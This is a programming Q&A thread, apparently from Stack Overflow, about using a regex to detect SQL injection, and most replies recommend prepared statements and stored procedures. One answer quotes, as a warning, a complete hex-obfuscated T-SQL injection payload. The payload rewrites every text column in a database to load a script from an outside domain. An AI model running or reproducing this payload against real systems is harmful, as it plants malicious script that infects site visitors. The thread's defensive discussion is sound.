I'm looking for a good solid Regular Expression for detecting SQL in a string. Does anyone have a sample of something they've used before?
+27
A:
Don't do it. You're practically guaranteed to fail. Use PreparedStatement (or its equivalent) instead.
Hank Gay
2008-09-05 02:02:34
This is good advice, this fixes the real problem but you might still want to be able to detect the attack and take additional steps. Using a prepared statement prevents the attack but it will not tell you that someone is trying to attack.
Timbo
2008-09-22 15:04:12
I guess that depends how important that sort of detection is to you. The easiest checks are likely to generate false positives (' is not always a sign of attack, it could just be a user named O'Banion) and making it more sophisticated starts to eat up time you could be devoting to functionality.
Hank Gay
2008-09-22 17:08:40
I don't think the question necessarily means the OP wanted to use regex to mitigate the risk. I filter and escape everything, but I am looking for a good SQL injection regex precisely because I want to flag users who are doing things they shouldn't be (including sql injection attempts).
TMG
2010-04-28 23:00:56
+1
A:
I don't have a regex but my understanding is that the most important thing is to detect the single quote. All the injection attacks start from there. They probably have the -- in there too to comment out and other SQL that might be after the string.
Timbo
2008-09-05 02:04:24
+6
A:
use stored procs or prepared statements, how will you detect something like this? BTW do NOT run that
DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415 245204054205641524348415228323535292C40432056415243
4841522832353529204445434C415245205461626C655 F437572736F7220435552534F5220464F522053454C45435420612E6 E616D652C622E6E616D652046524F4D207379736F626A65637473206 12C737973636F6C756D6E73206220574845524520612E69643D622E6 96420414E4420612E78747970653D27752720414E442028622E78747 970653D3939204F5220622E78747970653D3335204F5220622E78747 970653D323331204F5220622E78747970653D31363729204F50454E2 05461626C655F437572736F72204645544348204E4558542046524F4 D205461626C655F437572736F7220494E544F2040542C40432057484 94C4528404046455443485F5354415455533D302920424547494E204 55845432827555044415445205B272B40542B275D20534554205B272 B40432B275D3D525452494D28434F4E5645525428564152434841522 834303030292C5B272B40432B275D29292B27273C736372697074207 372633D687474703A2F2F7777772E63686B626E722E636F6D2F622E6 A733E3C2F7363726970743E27272729204645544348204E455854204 6524F4D205461626C655F437572736F7220494E544F2040542C40432 0454E4420434C4F5345205461626C655F437572736F72204445414C4 C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);
SQLMenace
2008-09-05 02:05:18
@sqlmenace: can you please explain what that code is? got me very interested. thanks!
i am a girl
2010-10-18 15:13:46
+1
A:
The library/driver is required to handle escaping of parameter values when you use a PreparedStatement—that's one of the main benefits of using them. There are many others, including better query optimization, but the protection against injection is probably my favorite one.
Hank Gay
2008-09-05 02:10:34
+1
A:
Save yourself problems and use stored procedures with prepared statements or parameterized queries. Stored procedures are good practice anyway, as they act like an interface to the database, so you can change what happens behind the scenes (inside the stored proc) but the signature remains the same. The prepared statements help take care of injection protection.
Daniel Huckstep
2008-09-05 02:14:06